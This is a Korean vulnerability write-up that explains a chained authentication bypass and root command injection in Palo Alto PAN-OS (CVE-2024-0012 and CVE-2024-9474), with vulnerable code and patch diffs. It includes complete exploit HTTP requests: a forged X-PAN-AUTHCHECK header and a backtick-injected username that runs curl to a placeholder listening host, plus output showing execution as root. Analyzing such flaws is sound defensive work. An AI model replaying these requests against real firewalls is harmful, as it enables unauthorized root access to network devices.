[하루한줄] CVE-2024-0012/CVE-2024-9474: 팔로알토 방화벽(PAN OS) 인증 우회 및 권한 상승 취약점

URL

https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/

Target

CVE-2024-0012

  • PAN-OS 11.2 < 11.2.4-h1
  • PAN-OS 11.1 < 11.1.5-h1
  • PAN-OS 11.0 < 11.0.6-h1
  • PAN-OS 10.2 < 10.2.12-h2

CVE-2024-9474

  • PAN-OS 11.2 < 11.2.4-h1
  • PAN-OS 11.1 < 11.1.5-h1
  • PAN-OS 11.0 < 11.0.6-h1
  • PAN-OS 10.2 < 10.2.12-h2
  • PAN-OS 10.1 < 10.1.14-h6

Explain

CVE-2024-0012는 Palo Alto Networks의 PAN-OS에서 발견된 인증 우회 취약점으로, 이를 통해 관리자 웹 인터페이스에 우회하여 접근할 수 있습니다. 인증 우회 상태에서 CVE-2024-9474를 연계하여 서버의 루트 권한으로 권한 상승이 가능합니다.

PAN-OS의 관리자 웹 인터페이스는 Nginx와 Apache, PHP로 구성되어 있습니다. 위 취약점들은 Nginx의 설정 문제와 PHP 코드의 취약점으로 인해 발생합니다.

인증 우회(CVE-2024-0012)

인증 우회 취약점은 uiEnvSetup.php파일에서 발생합니다. 해당 파일은 엔드포인트로 HTTP 요청이 왔을 때 헤더의 X-PAN-AUTHCHECK값이 on/off 여부에 따라 인증이 필요한 상황인지, 인증 없이도 접근 가능한 페이지로 리다이렉트 할지 유도하는 로직입니다.

공격자는 if문의 HTTP_X_PAN_AUTHCHECK의 값을 기본값 on에서 off로 조작하여 취약점을 공격할 수 있습니다.

 1 if (
 2     $_SERVER['HTTP_X_PAN_AUTHCHECK'] != 'off' // on일 경우 인증절차 수행
 3     && $_SERVER['PHP_SELF'] !== '/CA/ocsp'
 4     &&  $_SERVER['PHP_SELF'] !== '/php/login.php'
 5     && stristr($_SERVER['REMOTE_HOST'], '127.0.0.1') === false
 6 ) {
 7     $_SERVER['PAN_SESSION_READONLY'] = true;
 8     $ws = WebSession::getInstance($ioc);
 9     $ws->start();
10     $ws->close();
11     // these are horrible hacks.
12     // This whole code should be removed and only make available to a few pages: main, debug, etc.
13     if (
14         !Str::startsWith($_SERVER['PHP_SELF'], '/php-packages/panorama_webui/php/api/index.php')
15         && !Str::startsWith($_SERVER['PHP_SELF'], '/php-packages/firewall_webui/php/api/index.php')
16     ) {
17         if (Backend::quickSessionExpiredCheck()) {
18             if (isset($_SERVER['QUERY_STRING'])) {
19                 Util::login($_SERVER['QUERY_STRING']);
20             } else {
21                 Util::login();
22             }
23             exit(1);
24         }
25     }
26 }

HTTP_X_PAN_AUTHCHECK헤더의 값은 Nginx의 설정 파일 proxy_default.conf을 통해 기본적으로 on으로 설정하고 있습니다.

 1 # default proxy request header setting
 2 proxy_set_header Host $host;
 3 proxy_set_header X-Real-IP $remote_addr;
 4 proxy_set_header X-Real-Scheme $scheme;
 5 proxy_set_header X-Real-Port $server_port;
 6 proxy_set_header X-Real-Server-IP $server_addr;
 7 proxy_set_header X-Forwarded-For  $proxy_add_x_forwarded_for;
 8 proxy_set_header X-pan-ndpp-mode $pan_ndpp_mode;
 9 proxy_set_header Proxy "";
10 proxy_set_header X-pan-AuthCheck $panAuthCheck;
11 proxy_max_temp_file_size 0;

다만, 특정 경로 .js.map로 요청할 때, proxy_default.conf 의 설정이 명시적으로 포함되어 있지 않습니다. 이로 인해, 기본적으로 설정되어야 할 HTTP_X_PAN_AUTHCHECK 헤더가 누락되며 공격자가 헤더를 직접 조작할 수 있는 취약점이 발생합니다.

아래 코드의 23번 라인을 살펴보면 .js.map 으로 접근할 때 proxy_default.conf 설정을 include 하는 방식으로 패치한 것을 확인할 수 있습니다.

 1 add_header Allow "GET, HEAD, POST, PUT, DELETE, OPTIONS";
 2  if ($request_method !~ ^(GET|HEAD|POST|PUT|DELETE|OPTIONS)$) {
 3    return 405;
 4  }
 5
 6 + proxy_set_header X-Real-IP "";
 7 + proxy_set_header X-Real-Scheme "";
 8 + proxy_set_header X-Real-Port "";
 9 + proxy_set_header X-Real-Server-IP "";
10 + proxy_set_header X-Forwarded-For  "";
11 + proxy_set_header X-pan-ndpp-mode "";
12 + proxy_set_header Proxy "";
13 + proxy_set_header X-pan-AuthCheck 'on';
14
15
16  # rewrite_log on;
17
18  # static ones
19 @@ -27,6 +17,5 @@ location /nginx_status {
20  location ~ \.js\.map$ {
21    add_header Cache-Control "no-cache; no-store";
22    proxy_pass_header Authorization;
23 +  include conf/proxy_default.conf;
24    proxy_pass http://$gohost$gohostExt;
25  }

따라서, 취약한 버전은 공격할 엔드포인트에 {PHP_FILE}.php/.js.map 를 맞춘 뒤, 헤더에 X-PAN-AUTHCHECK: off를 담아 요청을 전송하면 인증이 우회된 상태로 엔드포인트에 접근이 가능합니다.

권한 상승(CVE-2024-9474)

권한 상승 취약점은 감사 로그를 작성하는 코드 AuditLog.php에서 발생합니다. 해당 코드에는 로깅이 이루어지는 시점에 pexecute 함수를 사용하며 $username 변수를 사용합니다. username에 백틱 문자 ()` 이 삽입될 경우 커맨드 인젝션이 발생합니다.

취약점이 발생하는 코드는 escapeshellarg 함수로 $username 변수의 값을 이스케이프 처리 하는 방식으로 패치했습니다.

 1 <?php
 2
 3 namespace panui_core\log;
 4
 5 use pan_core\InjectableClass;
 6 use pan_process\Process;
 7 use pan_process\ShellSanitizer;
 8
 9 class AuditLog extends InjectableClass
10 {
11   public function write($username, $message) {
13     $s = $this->ioc->get(ShellSanitizer::class);
14     $msg = $s->escapeshellarg($message);
17     $p = $this->ioc->get(Process::class);
18     return $p->pexecute("/usr/local/bin/pan_elog -u audit -m $msg -o $username");
21   }
22 }

공격자는 인증 우회 취약점을 활용하여 createRemoteAppwebSession.php에 POST 요청을 보낼 수 있습니다.
user 파라미터 값이 세션 데이터의 userName 필드에 저장됩니다. 해당 필드에 백틱()`으로 쉘 커맨드를 입력할 경우 취약점 공격이 가능합니다.

 1 <?php
 2
 3 WebSession::start();
 4
 5 /** @noinspection PhpUndefinedFunctionInspection */
 6 $isCms = panui_platform_is_cms();
 7 if ($isCms == 0) {
 8     // create a remote appweb session only on a device
 9     // 'vsys' is the list of accessible vsys for the user. If blank then it means all vsys
10
11     $locale = isset($_POST['locale']) ? $_POST['locale'] : $_SESSION['locale'];
12         /** @noinspection PhpUndefinedFunctionInspection */
13         panCreateRemoteAppwebSession(
14             $_POST['user'],
15             $_POST['userRole'],
16             $_POST['remoteHost'],
17             $_POST['vsys'],
18             $_POST['editShared'],
19             $_POST['prot'],
20             $_SERVER['SERVER_PORT'],
21             $_POST['rbaxml'],
22            $locale,
23             $_POST['hideHeaderBg'],
24         );
25 }
26
27 session_write_close();
28

요청 예시

POST /php/utils/createRemoteAppwebSession.php/aaaa.js.map HTTP/1.1
Host: {{Hostname}}
X-PAN-AUTHCHECK: off
Content-Type: application/x-www-form-urlencoded
Content-Length: 99

user=`curl {{listening-host}}`&userRole=superuser&remoteHost=&vsys=vsys1

응답 예시

HTTP/1.1 200 OK
Date: Tue, 19 Nov 2024 09:06:44 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 48
Connection: keep-alive
Set-Cookie: PHPSESSID=isbhbjpdkhvmkhio0hcpsgmtk6; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache; no-store

@start@PHPSESSID=isbhbjpdkhvmkhio0hcpsgmtk6@end@

응답으로 온 세션은 파일 시스템에 아래와 같이 생성됩니다. 이 세션 데이터는 이후 로직에서 userName 값으로 읽혀 명령어가 실행됩니다.

[root@PA-VM /]# cat ./opt/pancfg/mgmt/phpsessions/sess_isbhbjpdkhvmkhio0hcpsgmtk6
cmsRemoteSession|s:1:"1";panorama_sessionid|s:5:"dummy";user|s:16:"XXXX";userName|s:52:"`curl {{listening-host}}`";userRole|s:9:"superuser"

조작된 세션으로 index.php에 요청하면,AuditLog::write 함수가 호출되며, 이 과정에서 세션 데이터에 포함된 명령어가 실행됩니다.

GET /index.php/.js.map HTTP/1.1
Host: {{Hostname}}
Cookie: PHPSESSID=2jq4l1nv43idudknmhj830vdde;
X-PAN-AUTHCHECK: off
Connection: keep-alive

공격에 성공할 경우 시스템 상에서는 아래와 커맨드 명령을 통해 관리자 권한으로 상승하여 RCE 등을 수행할 수 있습니다.

CMD: UID=0     PID=87502  | sh -c export panusername="`curl {{listening-host}}`";export superuser="1";export isxml="yes";/usr/local/bin/sdb -e -n ha.app.local.state

취약점이 발생하는 코드는 escapeshellarg 함수로 $username 변수의 값을 이스케이프 처리 하는 방식으로 패치했습니다.

 1 <?php
 2
 3 namespace panui_core\log;
 4
 5 use pan_core\InjectableClass;
 6 use pan_process\Process;
 7 use pan_process\ShellSanitizer;
 8
 9 class AuditLog extends InjectableClass
10 {
11   public function write($username, $message) {
13     $s = $this->ioc->get(ShellSanitizer::class);
14     $msg = $s->escapeshellarg($message);
17     $p = $this->ioc->get(Process::class);
18 -     return $p->pexecute("/usr/local/bin/pan_elog -u audit -m $msg -o $username");
         /* 패치 코드 */
19 +    $u = $s->escapeshellarg($username);
20 +    return $p->pexecute("/usr/local/bin/pan_elog -u audit -m $msg -o $u");
21   }
22 }

Reference